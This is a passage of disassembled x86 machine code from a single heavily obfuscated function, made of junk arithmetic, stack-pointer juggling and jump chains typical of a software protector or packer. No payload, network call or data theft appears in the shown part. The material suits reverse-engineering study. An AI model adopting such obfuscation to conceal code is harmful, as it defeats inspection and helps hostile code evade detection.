[esp-38h+arg_30], eax mov al, 0FEh sub dl, al mov eax, [esp-38h+arg_30] jmp loc_597E1D ; --------------------------------------------------------------------------- loc_5A3B57: ; CODE XREF: sub_580566+193D6j push 61B53F85h pop eax jmp loc_5A26E9 ; --------------------------------------------------------------------------- loc_5A3B62: ; CODE XREF: sub_580566+14E0Aj pop esp jmp loc_59C2BC ; --------------------------------------------------------------------------- loc_5A3B68: ; CODE XREF: sub_580566+18FACj xor [esp-3Ch+arg_34], 7E8E231Bh pop esi xor esi, 7E8E231Bh jmp loc_5A4BE8 ; --------------------------------------------------------------------------- loc_5A3B7B: ; CODE XREF: sub_580566+1A6CAj add eax, 4 xchg eax, [esp-52h+arg_48+2] pop esp add esp, 4 push 3214h mov [esp-56h+arg_4E], edi push esi push 45D3181Ch jmp loc_59FE8C ; --------------------------------------------------------------------------- loc_5A3B9D: ; CODE XREF: sub_580566+20ECEj push 6B96h mov [esp-12h+arg_A], eax push esp jmp loc_5A00E7 ; --------------------------------------------------------------------------- loc_5A3BAB: ; CODE XREF: sub_580566+2093Dj xor esi, edi pop edi and ebx, esi pop esi add ebx, 0ACFFFE02h add edi, ebx mov ebx, [esp-40h+arg_38] add esp, 4 push 8Ah mov [esp-40h+arg_38], ebx mov ebx, 4 sub edi, 50730135h add edi, ebx sub esp, 4 mov [esp-3Ch+arg_34], ecx mov ecx, 2591407Dh shr ecx, 4 dec ecx neg ecx push edi mov edi, 542C11F6h not edi or edi, 14052332h jmp loc_59B8F9 ; --------------------------------------------------------------------------- loc_5A3BF8: ; CODE XREF: sub_580566+18121j and si, 6B17h neg si and si, 5E4Bh add si, 166Ah sub ax, si mov esi, [esp-30h+arg_28] add esp, 4 jmp loc_59A8FD ; --------------------------------------------------------------------------- loc_5A3C18: ; CODE XREF: sub_580566+2217Ej mov edx, [esp-46h+arg_3C+2] add esp, 4 jmp loc_59A203 ; --------------------------------------------------------------------------- loc_5A3C23: ; CODE XREF: sub_580566+21CE1j xor [esp-32h+arg_28+2], esi xor esi, [esp-32h+arg_28+2] pop esp mov [esp-36h+arg_2C+2], ebp push 225Eh jmp loc_5A4819 ; --------------------------------------------------------------------------- loc_5A3C37: ; CODE XREF: sub_580566+2090Fj add [esp-16h+arg_E], 4EB14E62h jmp loc_5A4648 ; --------------------------------------------------------------------------- loc_5A3C43: ; CODE XREF: sub_580566+207FFj push edi mov edi, 662A4111h and ebp, edi pop edi and ebp, 6B067E0Fh add ebp, 3C017F87h sub ebp, 0F0BA0AD0h mov ebx, ebp pop ebp sub ebx, ebp pop ebp jmp loc_59F79B ; --------------------------------------------------------------------------- loc_5A3C69: ; CODE XREF: sub_580566+1E63Ej mov word ptr [esp-2Ah+arg_20+2], si jmp loc_5A4439 ; --------------------------------------------------------------------------- loc_5A3C72: ; CODE XREF: sub_580566+1497Ej mov ecx, esi pop esi jmp loc_5A055B ; --------------------------------------------------------------------------- loc_5A3C7A: ; CODE XREF: sub_580566+1CAC4j mov ah, dl mov ch, ah pop eax jmp loc_599517 ; --------------------------------------------------------------------------- loc_5A3C84: ; CODE XREF: sub_580566+10EC6j mov [esp-2Eh+arg_24+2], edi mov edi, 12E962EDh neg edi xor edi, 2BFA6B59h xor edi, 0DF8CBA83h add ebx, edi pop edi push ecx mov ecx, 67054331h xor ebx, ecx pop ecx push ecx jmp loc_59EADF ; --------------------------------------------------------------------------- loc_5A3CAC: ; CODE XREF: sub_580566+15A02j push edx mov edx, 4EA70C89h mov edi, edx pop edx jmp loc_59F9FB ; --------------------------------------------------------------------------- loc_5A3CBA: ; CODE XREF: sub_580566+15F60j mov [esp+0], esp push esi jmp loc_595D7D ; --------------------------------------------------------------------------- mov ax, word ptr [esp-22h+arg_1A] sub esp, 4 mov [esp-1Eh+arg_16], ecx jmp loc_59A8A4 ; --------------------------------------------------------------------------- loc_5A3CD5: ; CODE XREF: sub_580566+14A9Dj mov edx, [esp-5Ah+arg_52] add esp, 4 push edx push eax jmp loc_59FA41 ; --------------------------------------------------------------------------- loc_5A3CE5: ; CODE XREF: sub_580566+1E82Dj mov bx, word ptr [esp-3Ch+arg_34] add esp, 2 push 3E9Eh jmp loc_5A36CA ; --------------------------------------------------------------------------- loc_5A3CF9: ; CODE XREF: sub_580566+18F9Dj mov ah, 97h sub bh, ah jmp loc_59E3D4 ; --------------------------------------------------------------------------- loc_5A3D02: ; CODE XREF: sub_580566+21069j mov [esp-4Ch+arg_44], eax mov ah, 98h sub dl, ah mov eax, [esp-4Ch+arg_44] add esp, 4 push ebx mov bh, dl mov cl, bh mov ebx, [esp-4Ch+arg_44] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-48h+arg_40] pop esp pop edx jmp loc_59DE5A ; --------------------------------------------------------------------------- loc_5A3D33: ; CODE XREF: sub_580566+25260j add esp, 4 push edx push ebx jmp loc_59918B ; --------------------------------------------------------------------------- loc_5A3D40: ; CODE XREF: sub_580566+12FB6j mov ebp, 55F205F9h push ecx mov ecx, 73C830D0h add ebp, ecx jmp loc_59A3BD ; --------------------------------------------------------------------------- loc_5A3D52: ; CODE XREF: sub_580566+1B8CDj mov al, 76h add al, 5Ch jmp loc_593467 ; --------------------------------------------------------------------------- loc_5A3D5B: ; CODE XREF: sub_580566+1E734j pop ecx push edx push esp pop edx add edx, 4 jmp loc_5924F0 ; --------------------------------------------------------------------------- loc_5A3D6A: ; CODE XREF: sub_580566+10B44j pop edx sub cl, bh mov ebx, [esp-3Ah+arg_30+2] add esp, 4 push ax push edx mov dl, cl mov ah, dl mov edx, [esp-38h+arg_30] jmp loc_59E3C0 ; --------------------------------------------------------------------------- loc_5A3D82: ; CODE XREF: sub_580566+206DFj mov cl, 0BBh add cl, dl jmp loc_59A7A8 ; --------------------------------------------------------------------------- loc_5A3D8B: ; CODE XREF: sub_580566+22A55j push [esp-54h+arg_4E+2] jmp loc_59454A ; --------------------------------------------------------------------------- loc_5A3D94: ; CODE XREF: sub_580566+1182Dj mov edx, 2 add ecx, 46C72807h add ecx, edx sub ecx, 46C72807h mov edx, [esp-4Ch+arg_44] add esp, 4 push 502Eh jmp loc_5A35E3 ; --------------------------------------------------------------------------- loc_5A3DBA: ; CODE XREF: sub_580566+1CF82j sub ebx, ebp add ebx, 1B5783Ah pop ebp mov eax, [esp-50h+arg_48] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A3DCE: ; CODE XREF: sub_580566+10CE4j push edx jmp loc_59A028 ; --------------------------------------------------------------------------- loc_5A3DD4: ; CODE XREF: sub_580566+23417j sub dl, 2Ch sub dl, 79h or bh, dl pop edx sub bh, 44h push eax mov al, 1Ah and bh, al jmp loc_59DB0E ; --------------------------------------------------------------------------- loc_5A3DEA: ; CODE XREF: sub_580566+1A1CEj xor edx, eax jmp loc_59554C ; --------------------------------------------------------------------------- loc_5A3DF1: ; CODE XREF: sub_580566+14445j push edx mov edx, 0EF14CBE3h xor ebx, edx mov edx, [esp-40h+arg_38] add esp, 4 jmp loc_59AFE3 ; --------------------------------------------------------------------------- loc_5A3E07: ; CODE XREF: sub_580566+1D1ECj push [esp-4Ch+arg_44] push [esp-48h+arg_40] pop eax jmp loc_5A3ED5 ; --------------------------------------------------------------------------- loc_5A3E13: ; CODE XREF: sub_580566+1BF39j mov word ptr [esp-48h+arg_40], cx jmp loc_591DDB ; --------------------------------------------------------------------------- loc_5A3E1C: ; CODE XREF: sub_580566+25623j pop ecx mov ah, bh mov ebx, [esp-4Ch+arg_44] add esp, 4 jmp loc_598185 ; --------------------------------------------------------------------------- loc_5A3E2A: ; CODE XREF: sub_580566+1CC37j pop eax jmp loc_5A21B1 ; --------------------------------------------------------------------------- loc_5A3E30: ; CODE XREF: sub_580566+2158Ej add edx, 6B937D0Eh add edi, edx mov edx, [esp-30h+arg_28] add esp, 4 jmp loc_596BB4 ; --------------------------------------------------------------------------- loc_5A3E43: ; CODE XREF: sub_580566+1F0D0j sub al, bl jmp loc_594D1E ; --------------------------------------------------------------------------- loc_5A3E4A: ; CODE XREF: sub_580566+1B6CBj xor eax, ebp jmp loc_590CED ; --------------------------------------------------------------------------- loc_5A3E51: ; CODE XREF: sub_580566+11291j sub edi, 2 xor edi, [esp-30h+arg_28] xor [esp-30h+arg_28], edi jmp loc_59C9C9 ; --------------------------------------------------------------------------- loc_5A3E5F: ; CODE XREF: sub_580566+1FF21j pop esp add esp, 4 sub edx, eax push eax mov eax, 57BE2E96h add edx, 5F2A76BEh jmp loc_5963AC ; --------------------------------------------------------------------------- loc_5A3E76: ; CODE XREF: sub_580566+1A2CDj mov edx, [esp-52h+arg_48+2] push ebp jmp loc_5A25BF ; --------------------------------------------------------------------------- loc_5A3E7F: ; CODE XREF: sub_580566+1FAD9j add esi, 59CAD012h mov ebx, esi pop esi jmp loc_5A3AB1 ; --------------------------------------------------------------------------- loc_5A3E8D: ; CODE XREF: sub_580566+1F4BCj add ebx, eax pop eax push ebp mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp-3Ch+arg_34] pop esp push ebx mov ebx, 8613A36h mov eax, ebx pop ebx add eax, 25A41CF7h sub eax, edi jmp loc_596E23 ; --------------------------------------------------------------------------- loc_5A3EB2: ; CODE XREF: sub_580566+19C5Aj push eax mov eax, 74B55F7h dec eax xor eax, 767904D6h add ecx, 7AB37672h push esi jmp loc_5A2613 ; --------------------------------------------------------------------------- loc_5A3ECA: ; CODE XREF: sub_580566+10D92j add edx, 4 jmp loc_5A1A9E ; --------------------------------------------------------------------------- loc_5A3ED5: ; CODE XREF: sub_580566+238A8j add esp, 4 push 2CBDh mov [esp-48h+arg_40], ebx push esp mov ebx, [esp-44h+arg_3C] push ebp push esp jmp loc_5961EA ; --------------------------------------------------------------------------- loc_5A3EEE: ; CODE XREF: sub_580566+15AC1j push eax xor [esp-5Eh+arg_56], 20C624A6h jmp loc_5A1FB8 ; --------------------------------------------------------------------------- loc_5A3EFB: ; CODE XREF: sub_580566+10994j sub esp, 4 mov [esp-46h+arg_3C+2], ebp push ecx jmp loc_591C17 ; --------------------------------------------------------------------------- loc_5A3F07: ; CODE XREF: sub_580566+16AE4j add eax, 4 push edx mov edx, 4 sub eax, 7A91F54h sub eax, 1A4C23E9h sub eax, 41AC6F06h add eax, edx add eax, 41AC6F06h jmp loc_592A99 ; --------------------------------------------------------------------------- loc_5A3F2D: ; CODE XREF: sub_580566+24750j mov ebx, 0F123F34h jmp loc_5927DA ; --------------------------------------------------------------------------- loc_5A3F37: ; CODE XREF: sub_580566+1FBADj mov edx, 53825B79h inc edx shl edx, 3 shl edx, 5 add edx, 1 dec edx jmp loc_597F82 ; --------------------------------------------------------------------------- loc_5A3F4C: ; CODE XREF: sub_580566+124F6j sub bl, dh jmp loc_59D27C ; --------------------------------------------------------------------------- loc_5A3F53: ; CODE XREF: sub_580566+1B28Bj xchg edi, [esp-1Eh+arg_16] jmp loc_59E103 ; --------------------------------------------------------------------------- loc_5A3F5B: ; CODE XREF: sub_580566+20896j mov esp, [esp-3Ah+arg_30+2] jmp loc_59C450 ; --------------------------------------------------------------------------- loc_5A3F63: ; CODE XREF: sub_580566+152E7j and eax, ebx push dword ptr [esp+0] pop ebx jmp loc_5A38A5 ; --------------------------------------------------------------------------- loc_5A3F6E: ; DATA XREF: sub_580566+10492o push ecx push edx push esp pop edx add edx, 4 sub edx, 4 jmp loc_59E8E5 ; --------------------------------------------------------------------------- loc_5A3F83: ; CODE XREF: sub_580566+1CB21j xor ah, dh jmp loc_59B720 ; --------------------------------------------------------------------------- loc_5A3F8A: ; CODE XREF: sub_580566+1143Ej mov [esp-4Ah+arg_40+2], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-4Ah+arg_40+2] pop esp mov [esp-4Eh+arg_44+2], eax jmp loc_592056 ; --------------------------------------------------------------------------- loc_5A3FA7: ; CODE XREF: sub_580566+230B5j pop edi xchg edx, [esp-3Eh+arg_34+2] pop esp mov [esp-42h+arg_38+2], esi jmp loc_598613 ; --------------------------------------------------------------------------- loc_5A3FB4: ; CODE XREF: sub_580566+1FCB1j add ebp, 4 sub esp, 4 mov [esp-3Ah+arg_30+2], eax jmp loc_59FBDB ; --------------------------------------------------------------------------- loc_5A3FC8: ; CODE XREF: sub_580566+24FEAj mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-3Ah+arg_30+2] pop esp jmp loc_597542 ; --------------------------------------------------------------------------- loc_5A3FDB: ; CODE XREF: sub_580566+10ACEj shl esi, 8 jmp loc_592CF6 ; --------------------------------------------------------------------------- loc_5A3FE3: ; CODE XREF: sub_580566+1E097j push edx mov edx, 21CC43B3h jmp loc_591F20 ; --------------------------------------------------------------------------- loc_5A3FEE: ; CODE XREF: sub_580566+1EB16j push 658E0D78h pop eax push edi push esi mov esi, 4E0E5074h shl esi, 8 sub esi, 3FFA08A1h shl esi, 1 neg esi and esi, 678F1E30h jmp loc_597E49 ; --------------------------------------------------------------------------- loc_5A4013: ; CODE XREF: sub_580566+23110j mov ebp, esp jmp loc_59AB1D ; --------------------------------------------------------------------------- loc_5A401A: ; CODE XREF: sub_580566+1B2C4j add [esp-46h+arg_44+2], eax pop eax jmp loc_59CEA0 ; --------------------------------------------------------------------------- loc_5A4024: ; CODE XREF: sub_580566+19C98j pop esp mov [esp-50h+arg_48], ebx jmp loc_5A18CE ; --------------------------------------------------------------------------- loc_5A402D: ; CODE XREF: sub_580566+22378j add edi, 2 jmp loc_59704F ; --------------------------------------------------------------------------- loc_5A4035: ; CODE XREF: sub_580566+1CD3Fj add ecx, 4 xchg ecx, [esp-30h+arg_28] pop esp add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A404A: ; CODE XREF: sub_580566+23B0Cj push esi push ecx mov ecx, 38B61100h jmp loc_597F7B ; --------------------------------------------------------------------------- loc_5A4056: ; CODE XREF: sub_580566+130DAj mov [esp-28h+arg_20], edx mov edx, 50DA5A6Ah dec edx push esi mov esi, 0FAA0F36h dec esi sub esi, 0C3F390E7h or edx, esi pop esi xchg eax, edx inc eax xchg eax, edx jmp loc_5A404A ; --------------------------------------------------------------------------- loc_5A4077: ; CODE XREF: sub_580566+22149j mov esp, [esp-40h+arg_38] and ecx, eax pop eax shr ecx, 6 push 22C5h mov [esp-40h+arg_38], ebp sub esp, 4 mov [esp-3Ch+arg_34], eax push eax mov eax, esp jmp loc_597E3C ; --------------------------------------------------------------------------- loc_5A4099: ; CODE XREF: sub_580566+18554j xor [esp-4Ah+arg_40+2], ebp xor ebp, [esp-4Ah+arg_40+2] mov esp, [esp-4Ah+arg_40+2] mov [esp-4Ah+arg_40+2], eax pop dword ptr [edi+40h] push [esp-4Eh+arg_44+2] jmp loc_598504 ; --------------------------------------------------------------------------- loc_5A40B0: ; CODE XREF: sub_580566+1BA32j mov ebx, 706106ABh mov esi, 8F9EF957h add esi, ebx pop ebx add ecx, esi mov esi, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5A43A8 ; --------------------------------------------------------------------------- loc_5A40D3: ; CODE XREF: sub_580566+13AA4j mov [esp-46h+arg_3C+2], ebx mov ebx, 6B855876h shr ebx, 2 dec ebx sub ebx, 1AE15618h add ebp, 19286007h add ebp, 49770EB4h add ebp, ebx sub ebp, 49770EB4h sub ebp, 19286007h pop ebx sub esp, 4 jmp loc_5976BA ; --------------------------------------------------------------------------- loc_5A4108: ; CODE XREF: sub_580566+24BC4j pop eax sub dh, ch jmp loc_592325 ; --------------------------------------------------------------------------- loc_5A4110: ; CODE XREF: sub_580566+15C90j add esp, 4 xor edx, edx push 3E54h mov [esp-4Eh+arg_44+2], ebx jmp loc_5A5187 ; --------------------------------------------------------------------------- loc_5A4122: ; CODE XREF: sub_580566+17D42j mov edi, 4 add [esp-42h+arg_3C+2], edi pop edi pop esi add esi, 4 push 2898h jmp loc_59EE05 ; --------------------------------------------------------------------------- loc_5A413D: ; CODE XREF: sub_580566+16E6Aj sub eax, ebx add eax, 40D764EDh add eax, 4837F1h push [esp-48h+arg_40] pop ebx add esp, 4 jmp loc_59B146 ; --------------------------------------------------------------------------- loc_5A4155: ; CODE XREF: sub_580566+1E9F2j pop ebp mov ebp, [esp-48h+arg_40] push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp-44h+arg_3C] pop esp mov [esp-48h+arg_40], edx mov edx, esp add edx, 4 add edx, 4 jmp loc_5937BA ; --------------------------------------------------------------------------- loc_5A4182: ; CODE XREF: sub_580566+1250Dj mov ecx, 58551FC9h or ecx, 6E0E067Bh xor ecx, 2740384Eh xor ecx, 581F2E39h shl ecx, 2 and ecx, 7C8B25C0h add ecx, 6F741B59h and ebx, ecx pop ecx push 430Eh mov [esp-34h+arg_2C], ecx jmp loc_5A5373 ; --------------------------------------------------------------------------- loc_5A41B8: ; CODE XREF: sub_580566+244E3j add [esp-34h+arg_30], eax sub [esp-34h+arg_30], 2E13316Eh push ebp mov ebp, 19B25850h sub [esp-30h+arg_30], ebp pop ebp push [esp-34h+arg_2C] jmp loc_5A2A1A ; --------------------------------------------------------------------------- loc_5A41D7: ; CODE XREF: sub_580566+20F13j mov edi, [esp-56h+arg_4E] push 7908h jmp loc_59D5A5 ; --------------------------------------------------------------------------- loc_5A41E4: ; CODE XREF: sub_580566+10DEEj mov ebp, [esp-2Eh+arg_24+2] add esp, 4 add ebp, 4 push ebx sub esp, 4 mov [esp-2Ah+arg_20+2], edx mov edx, 10B25D2Ch mov ebx, edx jmp loc_59A2F9 ; --------------------------------------------------------------------------- loc_5A4209: ; CODE XREF: sub_580566+1A388j xchg edx, [esp-48h+arg_40] pop esp jmp loc_59FDA8 ; --------------------------------------------------------------------------- loc_5A4212: ; CODE XREF: sub_580566+1A626j push eax mov al, dh mov cl, al jmp loc_5A17B8 ; --------------------------------------------------------------------------- loc_5A421C: ; CODE XREF: sub_580566+1D9CEj mov ebx, [esp-42h+arg_38+2] add esp, 4 xor eax, 7AC0C3E8h push eax mov edi, [esp-42h+arg_38+2] jmp loc_59AA5C ; --------------------------------------------------------------------------- loc_5A4233: ; CODE XREF: sub_580566+244DDj add ebx, ebp sub ebx, 0EEF64E7h mov ebp, [esp-42h+arg_38+2] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-3Eh+arg_34+2] pop esp push ecx mov ecx, 4 add ebx, ecx pop ecx xor ebx, [esp-42h+arg_38+2] xor [esp-42h+arg_38+2], ebx xor ebx, [esp-42h+arg_38+2] mov esp, [esp-42h+arg_38+2] jmp loc_5A19E0 ; --------------------------------------------------------------------------- loc_5A4269: ; CODE XREF: sub_580566+1EB87j mov ebp, esp jmp loc_596EFC ; --------------------------------------------------------------------------- loc_5A4270: ; CODE XREF: sub_580566+12440j mov [esp-40h+arg_38], esi push eax add [esp-3Ch+arg_34], 4221171Eh push [esp-3Ch+arg_34] pop esi add esp, 4 jmp loc_5980F5 ; --------------------------------------------------------------------------- loc_5A4287: ; CODE XREF: sub_580566+199F8j push esp jmp loc_5A148D ; --------------------------------------------------------------------------- loc_5A428D: ; CODE XREF: sub_580566+194F4j xchg esi, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] push ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp-40h+arg_38] mov esp, [esp-40h+arg_38] mov [esp-40h+arg_38], edi push ecx jmp loc_592EB3 ; --------------------------------------------------------------------------- loc_5A42AE: ; CODE XREF: sub_580566+1833Aj mov esi, ecx mov ecx, [esp-3Eh+arg_34+2] push edx jmp loc_599EDC ; --------------------------------------------------------------------------- loc_5A42B9: ; CODE XREF: sub_580566+1C42Bj push 35E6h jmp loc_59AA79 ; --------------------------------------------------------------------------- loc_5A42C3: ; CODE XREF: sub_580566+21A34j mov edx, [esp-32h+arg_28+2] add esp, 4 and esi, 4FE84C50h push edx jmp loc_5A3992 ; --------------------------------------------------------------------------- loc_5A42D8: ; CODE XREF: sub_580566+2502Bj mov ebp, edx pop edx jmp loc_59B38A ; --------------------------------------------------------------------------- loc_5A42E0: ; CODE XREF: sub_580566+15C2Dj xor edx, 0AA2293Bh jmp loc_59B1C8 ; --------------------------------------------------------------------------- loc_5A42EB: ; CODE XREF: sub_580566+18690j push [esp-0Ch+arg_8] pop eax push ebx mov ebx, esp add ebx, 4 jmp loc_598389 ; --------------------------------------------------------------------------- loc_5A42FD: ; CODE XREF: sub_580566+1A1B8j mov eax, 336A011Dh xor ecx, eax pop eax sub ebx, ecx pop ecx sub ebx, esi push ecx push 1F83h mov [esp-46h+arg_3C+2], esi mov esi, 31F2411Dh push esi add [esp-42h+arg_38+2], 485F28DAh jmp loc_5A1C5F ; --------------------------------------------------------------------------- loc_5A4325: ; CODE XREF: sub_580566+1D34Dj sub edi, 37416B39h mov ebx, [esp-34h+arg_2C] add esp, 4 push 5753h mov [esp-34h+arg_2C], ebx mov ebx, 11AF4CA1h neg ebx push esi sub esp, 4 mov [esp-2Ch+arg_24], edi mov edi, 0 mov esi, edi pop edi sub esi, ebx mov ebx, esi mov esi, [esp-30h+arg_28] add esp, 4 xchg ebp, ebx dec ebp xchg ebp, ebx jmp loc_592B5C ; --------------------------------------------------------------------------- loc_5A4369: ; CODE XREF: sub_580566+15FA0j sub edx, edi jmp loc_5973AD ; --------------------------------------------------------------------------- loc_5A4370: ; CODE XREF: sub_580566+112DBj push [esp-3Ch+arg_34] pop esi add esp, 4 pop ecx or edi, 781952D7h shl edi, 4 xor edi, 0AE2FAF23h add eax, 3B6964CDh sub eax, 518B0532h sub eax, edi add eax, 518B0532h push ebx mov ebx, 3B6964CDh sub eax, ebx mov ebx, [esp-40h+arg_38] jmp loc_593F76 ; --------------------------------------------------------------------------- loc_5A43A8: ; CODE XREF: sub_580566+23B68j xchg ebx, [esp-50h+arg_48] pop esp xchg ecx, [esp+0] pop esp jmp loc_5A4EF2 ; --------------------------------------------------------------------------- loc_5A43B5: ; CODE XREF: sub_580566+1FE24j xchg edi, [esp-2Ch+arg_24] pop esp push ecx mov ecx, esp push edi push esi mov esi, 4 mov edi, esi pop esi add ecx, edi jmp loc_5A1E81 ; --------------------------------------------------------------------------- loc_5A43CD: ; CODE XREF: sub_580566+22261j mov [esp-32h+arg_28+2], ebp mov ebp, 4 add eax, ebp push [esp-32h+arg_28+2] pop ebp add esp, 4 push 63D3h mov [esp-32h+arg_28+2], ebp push esp pop ebp add ebp, 4 sub ebp, 4 xchg ebp, [esp-32h+arg_28+2] mov esp, [esp-32h+arg_28+2] mov [esp-32h+arg_28+2], eax jmp loc_59733C ; --------------------------------------------------------------------------- loc_5A4402: ; CODE XREF: sub_580566+134CFj pop eax xchg ecx, [esp-5Ah+arg_52] pop esp push edi jmp loc_59FC83 ; --------------------------------------------------------------------------- loc_5A440D: ; CODE XREF: sub_580566+17513j push 4792h mov [esp-36h+arg_2C+2], ebp mov ebp, 4C430CB9h push eax push edx push 570C639Bh pop edx sub edx, 4B641C69h mov eax, edx jmp loc_5988C2 ; --------------------------------------------------------------------------- loc_5A442F: ; CODE XREF: sub_580566+2420Dj sub eax, 65D37AF1h jmp loc_592E32 ; --------------------------------------------------------------------------- loc_5A4439: ; CODE XREF: sub_580566+23707j mov si, 522Eh sub bx, si jmp loc_59B555 ; --------------------------------------------------------------------------- loc_5A4445: ; CODE XREF: sub_580566+14B07j xor ebx, [esp-2Ch+arg_24] xor [esp-2Ch+arg_24], ebx xor ebx, [esp-2Ch+arg_24] mov esp, [esp-2Ch+arg_24] xor ebx, [esp-2Ch+arg_24] xor [esp-2Ch+arg_24], ebx xor ebx, [esp-2Ch+arg_24] pop esp btr word ptr [esp-30h+arg_28], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A4466: ; CODE XREF: sub_580566+174C5j add ebp, 4 jmp loc_592DC0 ; --------------------------------------------------------------------------- loc_5A4471: ; CODE XREF: sub_580566+24FF4j push esi mov esi, 3B577363h shr esi, 1 not esi inc esi sub esi, 0FE42069h sub esi, 9649D69Ah or edx, esi pop esi jmp loc_5A2C95 ; --------------------------------------------------------------------------- loc_5A4490: ; CODE XREF: sub_580566+19C6Aj sub ebp, eax mov eax, [esp-4Ah+arg_40+2] jmp loc_59F526 ; --------------------------------------------------------------------------- loc_5A449A: ; CODE XREF: sub_580566+1C1B2j push 7B79h mov [esp-2Ah+arg_20+2], ebx mov ebx, 4 sub esi, ebx pop ebx jmp loc_59CF8E ; --------------------------------------------------------------------------- loc_5A44AF: ; CODE XREF: sub_580566+124EEj push edi push [esp-30h+arg_2C] mov edi, [esp-2Ch+arg_24] jmp loc_5A071B ; --------------------------------------------------------------------------- loc_5A44BC: ; CODE XREF: sub_580566+12F47j xchg ebx, [esp-28h+arg_20] mov esp, [esp-28h+arg_20] jmp loc_5973EA ; --------------------------------------------------------------------------- loc_5A44C7: ; CODE XREF: sub_580566+24772j shr [esp-28h+arg_20], cl pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A44D0: ; CODE XREF: sub_580566+1AA08j add ebx, ebp mov ebp, [esp-30h+arg_28] jmp loc_59CC2F ; --------------------------------------------------------------------------- loc_5A44DA: ; CODE XREF: sub_580566+17138j sub edi, ecx jmp loc_595EFE ; --------------------------------------------------------------------------- loc_5A44E1: ; CODE XREF: sub_580566+180FCj mov edi, 0C7F4594h sub [esp-42h+arg_3C+2], edi pop edi pop esi push edi jmp loc_59A76F ; --------------------------------------------------------------------------- loc_5A44F2: ; CODE XREF: sub_580566+1CDC3j pop esp push eax push [esp-3Ah+arg_34+2] push [esp-36h+arg_2C+2] mov eax, [esp-32h+arg_28+2] jmp loc_5A37A5 ; --------------------------------------------------------------------------- loc_5A4503: ; CODE XREF: sub_580566+1C5B1j add esp, 4 add eax, 0B25344Ah jmp loc_5934B2 ; --------------------------------------------------------------------------- loc_5A4510: ; CODE XREF: sub_580566+115A4j push 0D24h mov [esp-34h+arg_2C], edi sub esp, 4 jmp loc_5A1EBC ; --------------------------------------------------------------------------- loc_5A4523: ; CODE XREF: sub_580566+12254j xchg esi, ebx not esi xchg esi, ebx jmp loc_5949AA ; --------------------------------------------------------------------------- loc_5A452E: ; CODE XREF: sub_580566+24B48j mov [esp-2Ah+arg_20+2], ecx mov ecx, 311970B8h or ecx, 6C733848h shl ecx, 6 sub ecx, 444F5920h dec ecx xor ecx, 46502EEEh sub ecx, 0F4137753h jmp loc_59A74E ; --------------------------------------------------------------------------- loc_5A4557: ; CODE XREF: sub_580566+1F40Ej sub ecx, esi add ecx, 7ADD0BC1h sub ecx, 3C66644h add ecx, 58734282h mov esi, [esp-3Ch+arg_34] add esp, 4 add esi, 575147EDh sub esi, ecx sub esi, 575147EDh pop ecx xor esi, [esp-44h+arg_3C] xor [esp-44h+arg_3C], esi xor esi, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] jmp loc_5A280A ; --------------------------------------------------------------------------- loc_5A4594: ; CODE XREF: sub_580566+24559j and ecx, edi pop edi sub ecx, 150A2051h mov esi, ecx pop ecx add ebx, esi mov esi, [esp-4Ch+arg_44] add esp, 4 push 7E51h mov [esp-4Ch+arg_44], ebx jmp loc_59DC64 ; --------------------------------------------------------------------------- loc_5A45B8: ; CODE XREF: sub_580566+1F693j xchg ebp, [esp-38h+arg_30] pop esp push 4C01h mov [esp-38h+arg_30], edi push eax mov eax, 5B4847D8h push eax xor [esp-30h+arg_28], 4C05628Fh pop edi xor edi, 4C05628Fh jmp loc_59FB05 ; --------------------------------------------------------------------------- loc_5A45DE: ; CODE XREF: sub_580566+1895Cj xchg esi, [esp-24h+arg_1A+2] jmp loc_5965C9 ; --------------------------------------------------------------------------- loc_5A45E6: ; CODE XREF: sub_580566+14B19j xor edx, 0C007E77h sub ebx, edx pop edx add ebx, 0A43B1781h add eax, ebx jmp loc_59545C ; --------------------------------------------------------------------------- loc_5A45FC: ; CODE XREF: sub_580566+14B8Aj mov esi, esp jmp loc_599B03 ; --------------------------------------------------------------------------- loc_5A4603: ; CODE XREF: sub_580566+18D76j push 271Eh mov [esp-0Ch+arg_8], ebx mov ebx, esp jmp loc_59ABA5 ; --------------------------------------------------------------------------- loc_5A4612: ; CODE XREF: sub_580566+107B8j add edi, 1 inc edi not edi shl edi, 5 jmp loc_59FF6E ; --------------------------------------------------------------------------- loc_5A4623: ; CODE XREF: sub_580566+1718Dj idiv cl movzx cx, ah push small 3381h jmp loc_59A4C9 ; --------------------------------------------------------------------------- loc_5A4632: ; CODE XREF: sub_580566+11D27j push ebp mov ebp, 4 jmp loc_59E30A ; --------------------------------------------------------------------------- loc_5A463D: ; CODE XREF: sub_580566+20577j shr ah, 5 or ah, 0C8h jmp loc_593630 ; --------------------------------------------------------------------------- loc_5A4648: ; CODE XREF: sub_580566+236D8j pop edi sub edi, 4EB14E62h jmp loc_59D479 ; --------------------------------------------------------------------------- loc_5A4654: ; CODE XREF: sub_580566+2556Aj push edi push [esp-16h+arg_12] mov edi, [esp-12h+arg_A] add esp, 4 pop [esp-16h+arg_E] pop esp mov [ebx], edx mov ebx, [esp-1Eh+arg_16] jmp loc_59B4A9 ; --------------------------------------------------------------------------- loc_5A4670: ; CODE XREF: sub_580566+11D0Bj sub esi, 9FE26E88h add edi, esi pop esi mov ebx, [esp-44h+arg_3C] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp-40h+arg_38] pop esp jmp loc_592F24 ; --------------------------------------------------------------------------- loc_5A4692: ; CODE XREF: sub_580566+19ADCj sub cl, 1Ah jmp loc_59B796 ; --------------------------------------------------------------------------- push [esp-38h+arg_30] jmp loc_5996AA ; --------------------------------------------------------------------------- loc_5A46A2: ; CODE XREF: sub_580566+141B1j mov word ptr [esp-46h+arg_3C+2], ax jmp loc_592B32 ; --------------------------------------------------------------------------- loc_5A46AB: ; 